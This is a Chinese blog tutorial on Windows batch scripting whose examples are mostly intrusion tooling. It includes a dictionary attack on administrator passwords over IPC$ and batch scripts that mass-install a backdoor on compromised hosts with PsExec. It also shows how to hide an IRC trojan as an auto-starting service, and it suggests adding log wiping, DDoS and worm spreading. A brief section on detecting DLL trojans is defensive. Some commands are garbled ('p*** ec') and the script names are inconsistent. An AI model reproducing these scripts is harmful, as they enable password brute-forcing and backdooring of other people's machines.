用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--

for /f i%% in (dict.txt) do net use \\ip\ipc$ “i%%” /u:”administrator”│find “: 命令成功完成”>>D:\ok.txt ,这样就ko了。

 sample3 : 

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)

@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。

而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。

delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。

代码雏形:

————— cut here then save as a batchfile(I call it main.bat ) —————–

@echo off

@if “%1″==”" goto usage

@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

————— cut here then save as a batchfile(I call it main.bat ) —————

 

 

——————- cut here then save as a batchfile(I call it door.bat) ———–

@net use \\%1\ipc$ %3 /u:”%2″

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@p*** ec \\%1 c:\winnt\system32\windrv32.exe

@p*** ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

—————– cut here then save as a batchfile(I call it door.bat) ——————————–

这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容

尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 

二.如何在批处理文件中使用参数

批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。

sample1: fomat.bat

@echo off

if “%1″==”a” format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~

sample2:

当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

@echo off

@net use \\1%\ipc$ “2%” /u:”3%” 注意哦,这里PASSWORD是第二个参数。

@if errorlevel 1 echo connection failed

怎么样,使用参数还是比较简单的吧?你这么帅一定学会了 .No.3

三.如何使用组合命令(Compound Command) 

 1.& 

Usage :第一条命令 & 第二条命令 [& 第三条命令...] 

用这种方法可以同时执行多条命令,而不管命令是否执行成功 

Sample :

C:\>dir z: & dir c:\Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB 

Directory of c:\Ex4rch 

2002-05-14 23:51 .

2002-05-14 23:51 ..

2002-05-14 23:51 14 sometips.gif 

2.&& 

Usage :第一条命令 && 第二条命令 [&& 第三条命令...] 

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

 Sample :

C:\>dir z: && dir c:\Ex4rch

The system cannot find the path specified.

 C:\>dir c:\Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

 Directory of c:\Ex4rch

 2002-05-14 23:55 .

2002-05-14 23:55 ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

 在做备份的时候可能会用到这种命令会比较简单,如:

dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup

如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

 3.││

 Usage :第一条命令 ││ 第二条命令 [││ 第三条命令...]

 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

 Sample :

C:\Ex4rch>dir sometips.gif ││ del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

 Directory of C:\Ex4rch

 2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

 组合命令使用的例子:

sample:

@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

 四、管道命令的使用   

1.│ 命令

Usage:第一条命令 │ 第二条命令 [│ 第三条命令 ...]

将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

 sample :

time /t>>D:\IP.log

netstat -n -p tcp│find “:3389″>>D:\IP.log

start Explorer

看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

 2.> 、>>输出重定向命令

将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

 sample1 :

echo hello world>c:\hello.txt (stupid example?)

 sample2:

时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:

运行CMD–转换目录到 system32–dir *.exe>exeback.txt & dir *.dll>dllback.txt,

这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中 ,

日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了 .

这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行 :

CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。 

3.< 、>& 、 <&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用,也就不多做介绍。 

五.如何用批处理文件来操作注册表

 在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件 )

关于注册表的操作,常见的是创建、修改、删除。

 1. 创建

创建分为两种,一种是创建子项(Subkey)

 我们创建一个文件,内容如下:

 Windows Registry Editor Version 5.00

 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

 然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为”hacker”的子项。

 另一种是创建一个项目名称

那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

 Windows Registry Editor Version 5.00

 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

“Invader”=”Ex4rch”

“Door”=C:\\WINNT\\system32\\door.exe

“Autodos”=dword:02

 这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about这三个项目

Invader的类型是 “String value”

door的类型是 “REG SZ value”

Autodos的类型是”DWORD value”

 2. 修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

 3. 删除

我们首先来说说删除一个项目名称,我们创建一个如下的文件:

 Windows Registry Editor Version 5.00

 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

“Ex4rch”=-

 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的”Ex4rch”就被删除了;

 我们再看看删除一个子项,我们创建一个如下的脚本:

 Windows Registry Editor Version 5.00

 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

 相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

 samlpe1: 如上面的那个例子,如想生成如下注册表文件

Windows Registry Editor Version 5.00

 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

“Invader”=”Ex4rch”

“door”=hex:255

“Autodos”=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>Sample.reg

 @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

@echo “Invader”=”Ex4rch”>>Sample.reg

@echo “door”=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo “Autodos”=dword:02>>Sample.reg

 samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为 windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

@echo “windsnx “=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll

 @REM [ 删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动 ]

@REM 这样不是更安全.

 

 

本文来自CSDN博客:http://blog.csdn.net/annhf/archive/2007/10/24/1842362.aspx

Posted in Tech.

Tagged with , .